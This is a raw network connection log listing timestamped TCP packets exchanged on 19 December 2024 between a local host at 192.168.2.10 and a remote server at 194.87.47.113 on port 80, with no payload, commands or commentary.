Dec 19, 2024 08:21:24.599185944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599198103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599200010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.599208117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.599211931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599236965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.599780083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599942923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599956036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599961996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.599967957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599982023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599993944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600008011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600019932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600025892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.600025892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.600035906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600042105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.600049973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600063086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600075006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600086927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.600111008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.600691080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600775003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600810051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.600936890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600949049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600961924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600970984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.600975037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.600987911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.601001024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.601001024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.601013899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.601027966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.601030111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.601041079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.601043940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.601054907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.601068020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.601083994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.601124048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.601805925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.601819038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.601829052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.601866007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.706991911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.707016945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.707113981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.707256079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.707376003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.707420111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.708209991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.708550930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.708583117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.708858013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.709017992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.709057093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.709772110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.709892035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.709937096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.710819006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.710959911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.710998058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.711580992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.711636066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.711673975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.712127924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.712232113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.712268114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.712796926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.712930918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.712965965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.713529110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.713632107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.713675976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.714308977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.714446068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.714483976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.715174913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.715255022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.715293884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.715890884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.715996027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.716033936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.716690063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.716753006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.716789007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.717468023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.717586994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.717619896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.718276024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.718401909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.718442917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.719039917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.719296932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.719335079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.719837904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.720002890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.720042944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.720825911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.720923901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.720961094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.721545935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.721672058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.721709967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.722234964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.722352028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.722436905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.723001003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.723125935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.723165035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.723793030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.723967075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.724004030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.724605083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.724730968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.724803925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.725405931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.725533009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.725570917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.726167917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.726269007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.726308107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.726974964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.727077961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.727116108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.727770090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.727854967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.727891922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.728636026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.728817940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.728857040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.729362011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.729469061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.729506016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.730154991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.730248928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.730288982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.730920076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.731026888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.731069088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.731745958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.731848001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.731901884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.732541084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.732669115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.732712030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.733292103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.733387947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.733428001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.734074116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.734181881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.734220982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.734872103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.734992027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.735028028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.735649109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.735799074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.735841036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.736517906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.736696005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.736747980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.737313032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.737440109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.737478971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.738040924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.738149881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.738185883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.738826990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.738940954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.738977909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.739598036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.739733934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.739768982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.740403891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.740503073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.740540028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.741208076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.741317034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.741362095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.741981983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.742101908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.742139101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.742865086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.742952108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.742990017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.743586063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.743662119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.743697882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.744434118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.744520903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.744556904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.745162010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.745277882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.745311975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.745944023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.746049881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.746088982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.746750116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.746864080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.746898890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.747530937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.747620106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.747654915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.748332977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.794501066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.796055079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.796076059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.796113968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.796269894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.796423912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.796464920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.797146082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.797243118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.797281981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.797842026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.804009914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.804056883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.804090023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.804409981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.804450035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.804459095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.805219889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.805259943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.805332899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.805969954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.806030035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.840048075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.840166092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.840207100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.840487003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.840564966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.840600014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.841196060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.841494083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.841533899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.841571093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.842287064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.842324972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.842389107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.843084097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.843142033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.843189955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.843924046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.843966961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.843997955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.844628096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.844666004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.856760025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.856880903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.856920004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.857144117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.857230902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.857264996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.857928991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.858068943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.858124018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.858714104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.858851910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.858896971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.859549046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.859648943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.859688044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.860321045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.860414028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.860471964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.861104965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.861169100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.861207962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.899713039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.899826050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.899880886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.899997950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.900214911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.900263071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.900770903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.900897980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.900938988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.901643991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.901762962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.901803017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.902368069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.902380943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.902427912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.903156996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.903289080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.903328896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.904069901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.904086113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.904125929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.904789925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.904856920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.904894114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.905524969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.905652046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.905694008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.906290054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.906424999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.906471014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.907097101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.907226086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.907264948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.907921076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.908045053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.908082008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.908668995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.908801079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.908838987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.909491062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.909583092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.909625053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.910353899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.910458088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.910502911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.911052942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.911184072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.911226034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.911840916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.911969900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.912008047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.912648916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.912756920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.912796021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.913419962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.913515091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.913549900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.914266109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.914355993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.914395094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.915112972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.915218115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.915256977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.915858030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.915987015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.916026115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.916671038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.916778088 CET	80	49720	194.87.47.113	192.168.2.10
